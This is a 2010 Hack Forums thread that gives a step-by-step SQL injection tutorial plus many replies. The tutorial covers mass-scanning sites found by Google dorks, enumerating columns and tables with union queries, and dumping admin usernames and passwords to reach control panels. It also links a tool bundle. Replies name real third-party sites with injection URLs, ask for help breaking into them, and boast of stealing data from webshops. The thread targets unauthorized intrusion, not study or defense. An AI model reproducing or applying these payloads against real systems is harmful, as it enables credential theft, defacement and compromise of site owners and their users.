

Forum:[Hack Forums](#)

Thread: [\[TUT\] SQL Injection Tutorial for Beginners](#)

Kr4z1 - January 18, 2010, 7:30 am

Hello fellow HF members. I've been wanting to post a tut on sql injection and here goes my take on it. Also please please leave me feedback and any suggestions. Thanks ?

What exactly is SQL Injection?

SQL Injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks. ([wikipedia definition](#))

What will I need to perform an SQL Injection attack?

- [+] exploit scanner
- [+] a good list of "google dorks"
- [+] admin finder
- [+] half a brain and the will to learn lol ?

I have provided all but 2 (in a .rar package available for download below) of the stated things above that you need. Also provided is a virus scan of the .rar for the skeptics lol

[CLICK HERE TO DOWNLOAD THE TOOLS](#)

Yes I know its 2/41. Its the exploit scanner. Its detected as a Exploits/Riskware scanner. I myself use this same tool and no I'm not infected.

Spoiler (Click to View)	Code	Antivirus	Version	Last Update	Result
a-squared	4.5.0.50	2010.01.18	-		
AhnLab-V3	5.0.0.2	2010.01.18	-		
AntiVir	7.9.1.142	2010.01.18	SPR/Tool.ExpScan		
Antiy-AVL	2.0.3.7	2010.01.18	-		
Authentium	5.2.0.5	2010.01.18	-		
Avast	4.8.1351.0	2010.01.18	-		
AVG	9.0.0.730	2010.01.18	-		
BitDefender	7.2	2010.01.18	-		
CAT-QuickHeal	10.00	2010.01.18	-		
ClamAV	0.94.1	2010.01.18	-		
Comodo	3625	2010.01.18	-		
DrWeb	5.0.1.12222	2010.01.18	-		
eSafe	7.0.17.0	2010.01.17	-		
eTrust-Vet	35.2.7243	2010.01.18	-		
F-Prot	4.5.1.85	2010.01.17	-		
F-Secure	9.0.15370.0	2010.01.18	-		
Fortinet	4.0.14.0	2010.01.18	-		

GData	19	2010.01.18	-
Ikarus	T3.1.1.80.0	2010.01.18	-
Jiangmin	13.0.900	2010.01.18	-
K7AntiVirus	7.10.949	2010.01.16	-
Kaspersky	7.0.0.125	2010.01.18	-
McAfee	5864	2010.01.17	-
McAfee+Artemis	5864	2010.01.17	-
McAfee-GW-Edition	6.8.5	2010.01.18	Riskware.Tool.ExpScan
Microsoft	1.5302	2010.01.18	-
NOD32	4783	2010.01.18	-
Norman	6.04.03	2010.01.18	-
nProtect	2009.1.8.0	2010.01.18	-
Panda	10.0.2.2	2010.01.17	-
PCTools	7.0.3.5	2010.01.18	-
Prevx	3.0	2010.01.18	-
Rising	22.31.00.04	2010.01.18	-
Sophos	4.49.0	2010.01.18	-
Sunbelt	3.2.1858.2	2010.01.17	-
Symantec	2009.1.2.0.41	2010.01.18	-
TheHacker	6.5.0.6.154	2010.01.18	-
TrendMicro	9.120.0.1004	2010.01.18	-
VBA32	3.12.12.1	2010.01.17	-
ViRobot	2010.1.18.2142	2010.01.18	-
VirusBuster	5.0.21.0	2010.01.18	-

Ok after you are done downloading the tools. Open the .rar located on your desktop. Now open the .txt called "dorks". From this list you can pick any dork you feel like scanning with. For good search results search for a dork like this.

Code `index.php?id=`

After you have chose a dork like above, copy it into your clipboard for further use. Now open your exploit scanner.exe. (scanner made by reiluke). At the top where it says "Dork" your going to want to paste your dork into the box. It should look something like this.

Spoiler ([Click to View](#))

Afer you have done this your going to want to switch your "Max Url" from 100 to 1000 for alot of search results. Then press scan on your exploit scanner. After it is done scanning your going to press "Test Sites". After all this is done you should have two lists and it should look like this.

Spoiler ([Click to View](#))

After it is done testing all scanned sites. These pre-tested sites might be sqli vulnerable. But you must first check each site individually. To test a individual site add a " ' " after the url. For example.

Code `sqlivulnerablesite.com/index.php?id=1'`

NOTE With this exploit scanner it auto-quotes all the urls.

Lets say for instance you found a site that might be vulnerable (or what you think maybe a vulnerable site). If a error on the web page comes up something like this.

Code You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \" at line 1

Then its vulnerable to sql injection. The first step to this multi-step systematic attack on the sql databases is to found out the number of columns there is in the sql database. To found this out we use this code injection in the address bar after the website url. Like this.

Code `sqlivulnerablesite.com/index.php?id=1 order by 1--`

Load the page. If the page loads correctly with that code injection in the url then we are on the right track ?

Knowing that there is already 1 column in this database we do another code injection. Like this.

Code `sqlivulnerablesite.com/index.php?id=1 order by 2--`

If the page loads correctly again then this attack can still be performed.

Usually if the pages loads correctly after trying the #2 then I try stepping the number up to around 10.

NOTE If you load the web page on a code injection like this.

Code `sqlivulnerablesite.com/index.php?id=1 order by 10--`

and you get a result like this.

Code Unknown column '10' in 'order clause'

Then you must go down a number until you reach the number of columns that is in the database where it allows the web page to load correctly without any errors on the web page. For instance since the error on the web page said "unknown column '10'" we must go down to the number 9. Like this.

Code `sqlivulnerablesite.com/index.php?id=1 order by 9--`

If your page loads correctly then this means there is 9 columns in the database ?

The next step in this attack is to find out what column is vulnerable to our attack. We use this code injection in your address bar after the vulnerable site. Like this.

Code `sqlivulnerablesite.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9--`

After you have loaded the page it should show which columns are vulnerable. Usually shows about 2-3 columns. I personally use the the lowest number that is vulnerable. For instance "2". Lets say the vulnerable column in the database is "2". The next code injection we use is to found out the version of the database. Like This.

Code `sqlivulnerablesite.com/index.php?id=1 union all select 1,@@version,3,4,5,6,7,8,9`

When the web page is loaded, where the number "2" was on the web page there should be in place of it the "database version". It is best if you a beginner to make sure the database version is 5.0 on higher like 5.0.17. Anything below 5.0 you are going to be required to brute force each of the tables for information. So now that we have the database version which is "5.0.17", we must now find the table names with this code injection at the top in your address bar.

Code `sqlivulnerablesite.com/index.php?id=1 union all select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables--`

After the page is loaded it should have all the table names on the web page. The table name that your going to want to find is admins. Once you have found admins or something that is similar to that, then we do another code injection to found out that columns which are in that table with this code.

Code `sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(x)--`

NOTE Here (x) is the ascii value of the table name.

Now we must find the ascii value of the word admins.

[GO HERE TO CONVERT TEXT TO ASCII](#)

The ascii value of admins is

Code `& #97 ; & #100 ; & #109 ; & #105 ; & #110 ; & #115 ;`
Delete all the ";", "#", and "&". So it should look like this.

Code `97,100,109,105,110,115`

Now replace the "x" with that ascii number code. Now your new code injection should look something like this. Enter it in your url address bar.

Code `sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(97,100,109,105,110,115)--`

When the page loads you should get something like/similar to username and password on the web page. To get the data from that column you must use a code injection like this.

Code `sqlivulnerablesite.com/index.php?id=1 union all select 1,concat(username),0x3a,(password),3,4,5,6,7,8,9 from --`
NOTE (0x3a) is the ascii value of the column name

When the page loads it should show the data of the username and password for cpanel access.

Now to access the cpanel we must find the login page. I provided a admin finder.exe in the .rar. Open it up and type in the url of your vulnerable site. From there it scan till it finds the login page for admin cpanel access. Which can lead to defacement and web server compromise.

Hopefully someone found this thread useful/helpful. I take full credit in writing this tutorial out. PM me if you need any further help with your sql injections! ?

Tutorial By KraZi

yaav - January 18, 2010, 7:41 am

Use the search button :) -> this is the best sql injection tut out there :)

<https://hackforums.net/showthread.php?tid=33013&highlight=.Bako>

UnknownEdition - January 18, 2010, 10:59 am

Now in excess this tutorial, there are a lot of sql injection

Kr4z1 - January 18, 2010, 12:37 pm

(Jan 18, 2010 11:59 AM)[UnknownEdition] Wrote: [\[CITE\]](#) Now in excess this tutorial, there are a lot of sql injection

i know right i jus finished today!

KiD CuDi - January 18, 2010, 12:46 pm

Very good tut ;) to short

TheMvK - January 18, 2010, 12:48 pm

Sick TUT man ?

Arduent - January 18, 2010, 12:54 pm

The download link is broken.

Kr4z1 - January 18, 2010, 12:55 pm

(Jan 18, 2010 01:54 PM)Arduent Wrote: [\[CITE\]](#) The download link is broken.i fixed the link.
its updated

Goku12205 - January 19, 2010, 1:58 pm

gud tut for noob's and beginners

skymonster93 - January 19, 2010, 4:52 pm

Great Tutorial! And awesome programs.. this will definatly help get started into website hacking!

James. - January 19, 2010, 8:20 pm

Thanks Krazi, helped alot. Would +rep if I could...
Add me on Xbl. (IVlalicious)

The Forgotten King™ - January 19, 2010, 10:34 pm

Hmm

Nice tutorial

but i think it will not work with all websites

aimforair - January 20, 2010, 1:34 am

ima a newb sorry but it looks like your DI Link is broken again... it tell me the network connection was reset.... 0.o

[j-pr0] - January 20, 2010, 1:47 am

I decided to start studying SQL Injections and this definitely helps me out tremendously. I appreciate it Kr@Zi

TheButcher05 - February 5, 2010, 4:49 am

nice TUT SHOULD cover the basics for beginners :D

133720 - February 5, 2010, 6:53 am

nice tutorial ,good share man

aju16 - February 5, 2010, 9:38 am

nice tut man.....

hazard74 - February 5, 2010, 10:22 am

Thanks for this tutorial...

MySocksAreWet - February 6, 2010, 4:26 pm

Great TuT!!! But the programs need a virus scan.

HµstleR - February 6, 2010, 4:31 pm

Very nice tut thanx for the post but how often does this work?

MySocksAreWet - February 6, 2010, 4:51 pm

This should be stickied, but can I find vulns on just a single site with your tools?

Kr4z1 - February 6, 2010, 6:14 pm

(Feb 6, 2010 05:26 PM)MySocksAreWet Wrote: [\[CITE\]](#) Great TuT!!! But the programs need a virus scan.

they are virus scanned. read tut again :D

L2 R4† - February 8, 2010, 10:45 pm

I've tried for about 2 hours and nothing -_-.. I get so far and then it goes to shit. I did find this though if someone would like to crack it.. <http://www.nvfc.org/index.php?id=1%20order%20by%201>--

Thanks for this though! Even though I failed, I'm still more knowledgeable then I was was b4. :)

lolz0r - February 9, 2010, 10:53 pm

nice tutorial you wrote there!

Pr()dix - February 9, 2010, 11:07 pm

Thanks bro nice tut. :)

Anonamoose - February 10, 2010, 2:19 pm

this will help me pass my IT diploma course ?

great tut for noobs like me

Red - February 10, 2010, 9:02 pm

Good Job Krazi ;)

Your link is broken though ;))

.InSaNe - February 10, 2010, 11:22 pm

Need new link dude!!!

aju16 - February 11, 2010, 9:56 am

nice tut man.....

Hman - February 11, 2010, 12:44 pm

(Feb 6, 2010 05:51 PM)MySocksAreWet Wrote: [\[CITE\]](#) This should be stickied, but can I find vulns on just a single site with your tools?

Agreed man. This thread should definitely be stickied. Nice work.

ulstR - February 11, 2010, 9:54 pm

Fantasic TuT.. I had never seen actual injection commands before, you laid it out perfectly I now have a new hobby!

cheers..

Dr. Hobo - February 12, 2010, 2:37 pm

Very good tut bro

ToShort

teh_pill - February 13, 2010, 2:28 am

(Jan 19, 2010 02:58 PM)Goku12205 Wrote: [\[CITE\]](#) gud tut for noob's and beginners smels air

i smell a troll!!!

marklundarn - February 13, 2010, 2:35 am

the download link didnt work for me :S

growops - February 13, 2010, 5:29 pm

Excellent threat, it has taught me loads! Thank you

Mirw - February 14, 2010, 11:28 am

The link for the tools download isn't working, help me please? ^^

mawanglee - February 14, 2010, 8:34 pm

link download error...please help

Bad Blood - February 15, 2010, 8:45 pm

I cant get this step working:

sqlivulnerablesite.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9--

I always get:

The used SELECT statements have a different number of columns

Can anyone give a bit of help?

meister - February 16, 2010, 10:06 am

i have this page how do i move further

<http://www.gapuchi.com/chat/admin/>

R.T.C - February 16, 2010, 1:54 pm

Thanks for this tut..

Helped me alott..

hoof24 - February 16, 2010, 3:29 pm

a little confusing for a noob like me but i can get the hang of this

growops - February 16, 2010, 4:49 pm

(Feb 15, 2010 09:45 PM)Anth0ny Wrote: [\[CITE\]](#) I cant get this step working:

sqlivulnerablesite.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9--

I always get:

The used SELECT statements have a different number of columns

Can anyone give a bit of help?

It works good for me, are you sure you aren't going out of range with the tables? You dont write 123456789, you do it up to the last page loads without an error. eg if I have 8 good tables, I put in 9 and I get an error then I know that I only go up to 8 in the url, you get me?

Bad Blood - February 16, 2010, 9:50 pm

(Feb 16, 2010 05:49 PM)growops Wrote: [\[CITE\]](#) It works good for me, are you sure you aren't going out of range with the tables? You dont write 123456789, you do it up to the last page loads without an error. eg if I have 8 good tables, I put in 9 and I get an error then I know that I only go up to 8 in the url, you get me?

Yeah I was doing it right, it just didn't work on that server.

By the way, when I try to get it to show the name of all the columns, it only shows the first. Why is that?

joeynovice - February 18, 2010, 10:50 pm

I'll try to install the download but always say not working close the program??

Agent340 - February 20, 2010, 4:32 am

Link is broken again.

robotronc3 - February 20, 2010, 10:02 am

lol my page loads even at order by 1232322345223545--
:lol:

----- - February 20, 2010, 11:33 am

Thank you for the nice tutorial! It helped me alot.

minipunch - February 20, 2010, 10:22 pm

Please help!

What do you do if the page keeps loading with any number i use withr "order by (whatever)---"?

It doesn't do anything but keep adding those numbers into the web page.

pycomonkey - February 20, 2010, 10:24 pm

Great tut.

I haven't manually SQL injected in a long time.

-Pycomonkey

Tate - February 20, 2010, 10:26 pm

Wow, thanks alot man.

minipunch - February 20, 2010, 10:38 pm

Please help!

What do you do if the page keeps loading with any number i use withr "order by (whatever)---"?

It doesn't do anything but keep adding those numbers into the web page.

Also most webpages I load up start with this:

Quote:Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/ac-psych/www/funkcje.php on line 1268

FormatHacker - February 21, 2010, 2:58 am

i need help !!

[http://www.go-whippet.co.uk/announce.php?id=9'](http://www.go-whippet.co.uk/announce.php?id=9)

Database version 5.0.45

Column = 1,2,3,4,5,6,7

the Admin thing did not show up =(

Vulnerable : 1 and 3

btw i saw "Where Clause" Word there XD

thanks

Ideja-Mk - February 21, 2010, 9:02 am

Download Link is Death :S

PLease Re Uploade PLEASE

Kr4z1 - February 21, 2010, 5:11 pm

Sorry for the dead link guys. Just posted new link. thanks :D

Kuna - March 9, 2010, 11:49 am

What is the column_name i'm blocked on last part didn't understand it

bownull - March 10, 2010, 1:40 am

thanks a lot!

what a beautiful tutorial!

Rufflecakes - March 12, 2010, 1:29 am

Thanks Kr@zi. Love the "NOTE" colours :)

Guru01 - March 14, 2010, 2:09 pm

@krazi

Nice and short tut;

Like your style! I will follow it up.

Thx

hisoka44 - March 14, 2010, 6:23 pm

dude can we use sql injection to hack facebook account?

Kr4z1 - March 15, 2010, 10:03 am

(Mar 14, 2010 06:23 PM)hisoka44 Wrote: [CITE](#) dude can we use sql injection to hack facebook account?

lol if facebook with vulnerable to SQLi yes. but thats highly doubtful my friend.

MySocksAreWet - March 16, 2010, 10:25 pm

The exploit scanner has stoped working, any ideas?

HighSpeed - March 18, 2010, 2:21 pm

Thanks a lot, this and reading other tutorials here has taught me some good stuff.

instigate - March 21, 2010, 6:38 pm

i didnt understand if the site i want hack its this

<http://www.amtrakvacations.com/index.php?id=%27528>

how i add the code like that?

<http://www.amtrakvacations.com/index.php?id=%27528>"sqlivulnerablesite.com/index.php?id=1"

help i very very new in this staff

jjmxc - March 21, 2010, 10:00 pm

What I don't understand is the fact that every site I try to find is invulnerable, even after testing and scanning. Any ideas?

Few examples include:

<http://www2.springer-sbm.com/index.php?id=%27133>

<http://www.clcbio.com/index.php?id=%2728>

<http://www.ticadexchange.org/index.php?id=%27133>

paw - April 3, 2010, 2:09 am

Really nice tut man !;p Helped me a'lot

Cycl0ne - April 3, 2010, 3:15 am

(Mar 21, 2010 06:38 PM)instigate Wrote: [\[CITE\]](#) i didnt understand if the site i want hack its this

<http://www.amtrakvacations.com/index.php?id=%27528>

how i add the code like that?

<http://www.amtrakvacations.com/index.php?id=%27528>"sqlivulnerablesite.com/index.php?id=1"

help i very very new in this staff

<http://www.amtrakvacations.com/index.php?id=%27528>'

DarkClouds - May 20, 2010, 7:08 am

Nice tuto short bro it's for me...

climbertain - May 20, 2010, 8:03 am

Nice tutorial, however, is it possible to attack a specific domain with this tool, instead of scanner tons of domains?

Kr4z1 - May 20, 2010, 8:04 am

(May 20, 2010 08:03 AM)climbertain Wrote: [\[CITE\]](#) Nice tutorial, however, is it possible to attack a specific domain with this tool, instead of scanner tons of domains?

You would have to use a different scanner.

Thug Life - May 21, 2010, 3:46 am

Sexy tut man, Awesome work krazi <3

Kr4z1 - May 21, 2010, 3:52 am

(May 21, 2010 03:46 AM)† The Beast † Wrote: [\[CITE\]](#) Sexy tut man, Awesome work krazi <3
Thanks beast. This tut of mine is getting pretty old lol.

Carson - May 25, 2010, 5:17 pm

Any idea what dork I would use for <http://roblox.com/> ? They use all .aspx pages.

habbino - May 25, 2010, 7:53 pm

Good tut but I couldn't find any that had all Quote:'

at the begging of the numbers.And they were all MYSQL errors.

Example: Quote:<http://www.sportiva.com/live/page.php?id='1&at='21>

Couldn't continue but thanks for the tut.

kent24649 - May 26, 2010, 4:56 am

wow for a beginner like me this is very useful thank you very much for the tutorial!

Kr4z1 - May 26, 2010, 5:04 am

(May 26, 2010 04:56 AM)kent24649 Wrote: [\[CITE\]](#) wow for a beginner like me this is very useful
thank you very much for the tutorial!
Your welcome.

ihacktheworld - May 26, 2010, 6:44 am
what to do if it has only one column??

Suicidal Thoughts - June 4, 2010, 5:39 am
This is the best sqli tut out here man.
Keep it up.

Kr4z1 - June 4, 2010, 8:54 am
(Jun 4, 2010 05:39 AM)Social Engineering Wrote: [\[CITE\]](#) This is the best sqli tut out here man.
Keep it up.
Thanks man I appreciate it. I tried my best on this one.

kent24649 - June 11, 2010, 11:18 am
what if it doesn't show any columns that are vulnerable? i am right that there are 6 columns but it
doesn't show what column it is vulnerable
21 union all select 1,2,3,4,5,6--

chinagash - June 11, 2010, 3:33 pm
Very good tut..
Short but well explained..
Thx.. i learned another thing from it again
Thx man

mistasandman - June 11, 2010, 10:16 pm
When i do the union all select 1,2,3,4-- i get the message The used SELECT statements have a
different number of columns.

So.... yeah. fml

texeon - June 11, 2010, 11:50 pm
Great job, easy to follow, i enjoyed reading it

capitalfear - June 12, 2010, 5:09 am
this is what i think you said to do:

<http://www.solutionfocusedtrainers.co.uk/trainers.php?id=%274sqlivulnerablesite.com/index.php?id=1%20order%20by%201-->

and this is what i got:

Error : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL
server version for the right syntax to use near '\4sqlivulnerablesite.com/index.php?id=1 order by 1--'
at line

Forte - June 13, 2010, 12:13 am
Perfect Tut.
Couldn't have asked for a better one.
Thanks :D

Kr4z1 - June 13, 2010, 12:16 am
(Jun 13, 2010 12:13 AM)?l00D Wrote: [\[CITE\]](#) Perfect Tut.

Couldn't have asked for a better one.
Thanks :D
Thanks for your appreciation ?!øøD.

abeshnayan - June 22, 2010, 5:16 am

Access denied for user 'lcpdb'@'localhost' to database 'information_schema'

is coming plzz help me....

6010fd12 - June 22, 2010, 5:55 am

(Jun 12, 2010 05:09 AM)capitalfear Wrote: [\[CITE\]](#) this is what i think you said to do:

<http://www.solutionfocusedtrainers.co.uk/trainers.php?id=%274sqlivulnerablesite.com/index.php?id=1%20order%20by%201-->

and this is what i got:

Error : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\4sqlivulnerablesite.com/index.php?id=1 order by 1--' at line

I started to try and find your problem and also you had alittle extra on your html so thats why it wasn't working but your vul website is version 4 so i suggest you fine another website or guess the table name

EDIT: heres how far I got (GL)

<http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-274+UNION+SELECT+1,@@version,3,4,5,6,7>

kennykatastr0phe - June 22, 2010, 7:15 pm

So i'm getting the "The used SELECT statements have a different number of columns" whenever i do "union all select 1,2,3,4,5,6,7,8--" the website got the error when i ordered it by "9" so i stopped the union select at 8... any ideas what's going wrong?

Fallenbot - July 13, 2010, 2:54 pm

i Like the coloring of dl lol ;p
thanks for sharing !

capitalfear - July 13, 2010, 3:14 pm

quick question...what if the site your trying to hack has like...an insane number of columns? like i keeep going higher but it never gives me the command that i went too high. what does this mean and is the site still hackable?

(Jun 22, 2010 05:55 AM)6010fd12 Wrote: [\[CITE\]](#) I started to try and find your problem and also you had alittle extra on your html so thats why it wasn't working but your vul website is version 4 so i suggest you fine another website or guess the table name

EDIT: heres how far I got (GL)

<http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-274+UNION+SELECT+1,@@version,3,4,5,6,7>

please tell me what you mean by guess the table name?

Andblood123 - July 16, 2010, 9:10 am

i found 1000 sites but none its vulnerable , why??

yohi9889 - July 18, 2010, 7:05 pm

Thanks, this is amazing really useful! bookmarking right now

v3xr - July 22, 2010, 6:36 am

Amazing job man! You are the SHIT bro! ?

Chris.. - July 22, 2010, 8:31 am

This tutorial is great it helped me out alot a long time ago so it should help you guys

hacc - July 22, 2010, 9:26 am

You need to have .php?id=-1 union all select 1,2,3,4,5,6,7,8,9-- it needs that - before the 1.

also, its easier to just use the hackbar in firefox than do that ASCII converter thing.

Not a bad tutorial, not a good one, but not bad.

Frivolous - July 24, 2010, 6:01 pm

Wow, nice tutorial, well written and thought out. :').

Ghost Hack?r - July 24, 2010, 7:37 pm

(Jul 16, 2010 09:10 AM)Andblood123 Wrote: [\[CITE\]](#) i found 1000 sites but none its vulnerable , why??

Either because they are not vulnerable or you haven't got it properly.

?

roxen777 - July 24, 2010, 11:56 pm

application is not running

the_reverend - July 26, 2010, 12:49 pm

very nice tutorial, thanks for the info and the programs, i really apriciate it :) nice to start from

gangster0 - August 4, 2010, 8:51 am

I luv dis tut. I am begining to think lik an IT expert.

Bansil - August 4, 2010, 9:23 am

What could I do with SQL injections?

Kr4z1 - August 4, 2010, 9:25 am

(Aug 4, 2010 09:23 AM)Bansil Wrote: [\[CITE\]](#) What could I do with SQL injections?

What I would do with them is try the injections on different sites and report the vulnerabilities to the site admins so they are patched.

UNU_Hacker - August 11, 2010, 3:47 pm

Nice tut for Beginners

thanks for sharing

Kr4z1 - August 11, 2010, 3:57 pm

(Aug 11, 2010 03:47 PM)UNU_Hacker Wrote: [\[CITE\]](#) Nice tut for Beginners

thanks for sharing

Thanks is appreciated. ?

yojod - August 11, 2010, 7:52 pm

Thanks a lot for this tut dude:D

spider.net - August 11, 2010, 7:57 pm

Veryy Nice Tut..

Tool is also great>> Keep posting

Kr4z1 - August 11, 2010, 8:12 pm

Haha thanks guys nice to see people still use this.

vivek7755 - August 14, 2010, 11:58 pm

Thank you very much .I understood a little bit....

Panda Milk - August 15, 2010, 4:43 am

thank you very much but can you help me when i try to scan it says cannot connect to remote sever

Automatic Coding - August 15, 2010, 7:41 am

It looks to hard for me... :S

seigneurtafa - August 25, 2010, 12:58 am

(Jul 16, 2010 09:10 AM)Andblood123 Wrote: [\[CITE\]](#) i found 1000 sites but none its vulnerable , why??

i have the same problem!! i cant get the vulnerable sites from list, and sometimes when i put the dork and & i press scan sites i receive a msg " Found 0 Sites For tesging "

thanks anyway for this tut :)

azeer - September 1, 2010, 4:10 pm

even if i have seen this tuto many times
it steal have its sharme

zeeland4life - September 2, 2010, 2:38 pm

Link is broken:S:S

1010101010

IIBAN - September 4, 2010, 12:59 pm

Thank you very much for this, I have hacked several webshops and took some nice info from them
^^

iUndead - September 4, 2010, 2:33 pm

link is down again. Proudwhites is gone XD

Abstract™ - September 5, 2010, 6:28 am

get the link updated man...

.InSaNe - September 5, 2010, 10:07 am

Nuce tut krazi.

I didnt know you were a hacker..

SIM-374889 - September 12, 2010, 6:49 am

Abit of help please. When i do "sqlivulnerablesite.com/index.php?id=1 union all select

1,2,3,4,5,6,7,8,9--" i get

Name query failed. The used SELECT statements have a different number of columns

The number of columns of the site is 3

PlickaMaterna - September 12, 2010, 6:53 am

If there is 3 columns, then it is

union all select 1,2,3-- a

SIM-374889 - September 12, 2010, 6:59 am

i tried it but i still get Name query failed. The used SELECT statements have a different number of columns

keliahg - September 12, 2010, 8:00 am

Nice job man thanks. Good luck in the future

PlickaMaterna - September 12, 2010, 9:19 am

(Sep 12, 2010 06:59 AM)Ldotkiid Wrote: [\[CITE\]](#) i tried it but i still get Name query failed. The used SELECT statements have a different number of columnsIt has 2 or more statements. If you know SQL you will know what that means.

Use double query or blind injection.

ysfks - September 12, 2010, 4:16 pm

Good tutorial for the beginners. Nice job. Looks like u spen a lot of time on it

and ty so much...nice job

ariton - September 14, 2010, 10:36 am

Bookmarked. Thanks for the tutorial.

Tello - September 14, 2010, 4:25 pm

Link is death?

to short....

noid - September 17, 2010, 1:31 am

Sick tutorial, nice effort brah.

Maxtor - September 17, 2010, 9:19 am

Nice ! Is Good tuto ;) GG better

Platypus - September 18, 2010, 8:17 pm

Never mind it workd! I got the info!

SIM-307931 - September 19, 2010, 1:54 am

Could you please fix the download links? :) Wanna check out this stuff ?

Thx in advance

PlickaMaterna - September 19, 2010, 3:47 am

(Sep 18, 2010 08:17 PM)dudey405 Wrote: [\[CITE\]](#) I have a broken link for the downloadable tools :-(

Also, when I try the:

"union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14--"

it goes back to the regular page?

You have to null.

Do like "and 1=12 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- -"

12KPR - September 25, 2010, 5:05 pm

Awesome tutorial.You rock :D

Burn Notice - September 25, 2010, 6:29 pm

Very nice Tutorial, is it just me or is the link down?

Cheers

Flash7475 - September 25, 2010, 10:44 pm

yes, please update the link, its broken.

Spiz - September 26, 2010, 6:40 am

The Tools link is down fix!

Braco Asshole - September 26, 2010, 8:14 am

Thank you so much Kr4z1 for the nice SQL tutorial. I also appreciate your work so much! It's also well explained and simple to understand.

Luxurious - September 26, 2010, 12:47 pm

(Sep 25, 2010 06:29 PM)-NCIS- Wrote: [\[CITE\]](#) Very nice Tutorial, is it just me or is the link down?

Cheers

No, the links are down for me also.

Hmm when i click test site nothing happens any ideas on this?

djnaps - September 29, 2010, 2:24 pm

your link is dead man , can you reUP it please ?? thxx

The Chosen One - September 30, 2010, 10:18 am

Links dead brah please update

133720 - October 1, 2010, 1:25 am

useful thread ,keep it up your skill

CursedPX - October 5, 2010, 2:04 pm

Many ThNkS.

~To() Sh()Rt

-Legacy- - October 5, 2010, 8:05 pm

Link Broken. Hope it gets fixed. Nice tutorial by the way.

.InSaNe - October 5, 2010, 8:54 pm

<http://www.mediafire.com/?ut3kqd31xqk2etu>

This has everything you need, you may want to scan thought.

I use it and it's fine. :)

Just like god - October 12, 2010, 1:59 am

Very useful guide, I am sure many people will gain alot of help from it :)
Best regards

shyamraj - October 12, 2010, 4:37 am

Nice... Quite basic..

But good one for beginners.

underground_devil - October 12, 2010, 9:02 am

gud tut but reiluki tool kit link broken please update it

pwnamster69 - October 28, 2010, 2:04 pm

the link doesnt work for me ?

Essential - October 28, 2010, 2:45 pm

How I finish this I get an error

http://www.navrhy-zahrad.com/viewphoto.php?id=-18%20union%20select%201,2,3,4,group_concat%28LOGIN,0x3a,PASSWORD,0x3a,EMAIL%29,6,7,8,9,10,11,12,13,14%20FROM%20navrhzyahrad.users--

db name navrhzyahrad
table name users

unknowntoall - November 11, 2010, 2:11 am

Fix The link Dude, need to try :)

hollowsai - November 11, 2010, 8:19 pm

hello. I have a problem with exploit scanner when I click on Scan Sites i get pop msg : "Found 0 Sites for test" its only my problem or it doesn't work anymore?

soulleader - November 12, 2010, 10:47 am

Yes I am getting the same msg "Found 0 Sites for test" since this morning. can anybody tell me what the problem could be ? Is it not working anymore.

h1t4k3 - November 14, 2010, 2:23 am

Nice tutor , good job brother..

hacc - November 14, 2010, 7:32 am

Should you null the id number?

Like www.site.com/lol.php?id=null

when you do union statement?

-WhiteHat- - November 14, 2010, 8:23 am

link is broken.

Fix please.

apt-get money - November 14, 2010, 10:17 am

its down :S

tooo shortttt...

Dr. A. NonyMouse - November 14, 2010, 1:02 pm

the download link is broken again.

finebeard - November 14, 2010, 2:59 pm

ahhhh, broken link!!! fix please

pancitluglug - November 14, 2010, 7:13 pm

i tried to download the tools but i can not do it. Woul someone help me please?

apt-get money - November 14, 2010, 10:24 pm

(Nov 14, 2010 08:13 PM)pancitluglug Wrote: [\[CITE\]](#) i tried to download the tools but i can not do it. Woul someone help me please?

no,the link is currently broken. ?

maybe there is SOMEONE here that could re-upload it??

thanks alot. ?

phinuss - November 15, 2010, 11:02 am

download link broken..

please check this

Totolo - November 16, 2010, 11:38 am

the download link is broken !!

hollowsai - November 16, 2010, 7:55 pm

here is the scanner which I am using. But I dont know if its the same version or somethin....

<http://filebeam.com/ba043e73d6f7478ae8f306d0fc02ba44>

Air0x - November 22, 2010, 9:15 am

Thank you for the tutorial teach me alot! :D

lifeind - November 22, 2010, 5:59 pm

The link to the files is down.

?Exordium - November 26, 2010, 6:28 am

This has everything and works - <http://www.mediafire.com/?ut3kqd31xgk2etu>

bunghackers - November 28, 2010, 2:57 am

this not found..

<http://proudwhites.com/sqlitools.rar>

Not Found

The requested URL /sqlitools.rar was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

disconackted - November 28, 2010, 1:01 pm

Nice Tutorial

Bookmark this thread...

TheJ0k3r - November 29, 2010, 12:03 am

The downloads arent working ?

thesnipair.24 - November 29, 2010, 1:51 am

super tutorial love it,. well if someone could Make a tut like this on XSS this would really nice..

X...Nightmare...X - November 29, 2010, 6:46 pm

niiice but i have a question i cant extract .rar cuz of mac is another way to get need stuff

?Superyui - November 30, 2010, 11:33 pm

Please fix the link man.

t

Zpirit - December 1, 2010, 1:28 am

Very nice TUT, thanks!

I bookmarked ^_^

Y-Trick™ - December 7, 2010, 3:48 am

You can go [Here!](#) to convert string/text to hex.

In sqlvulnerablesite url, just typed =0xhex

i got 61646d696e is the hex for admin

so, you must type

=0x61646d696e

not =char(61,64,6d,69,6e)

I think it's very simple and short :-)

0x is important code !

hack59 - December 7, 2010, 2:11 pm

Nice TUT dude

Can you update your link?

Anyway Thx much

Y3llows - December 8, 2010, 1:43 am

Awesome tut, looking forward to any other tutorials you put out :) :)

Cod3 - December 8, 2010, 1:47 am

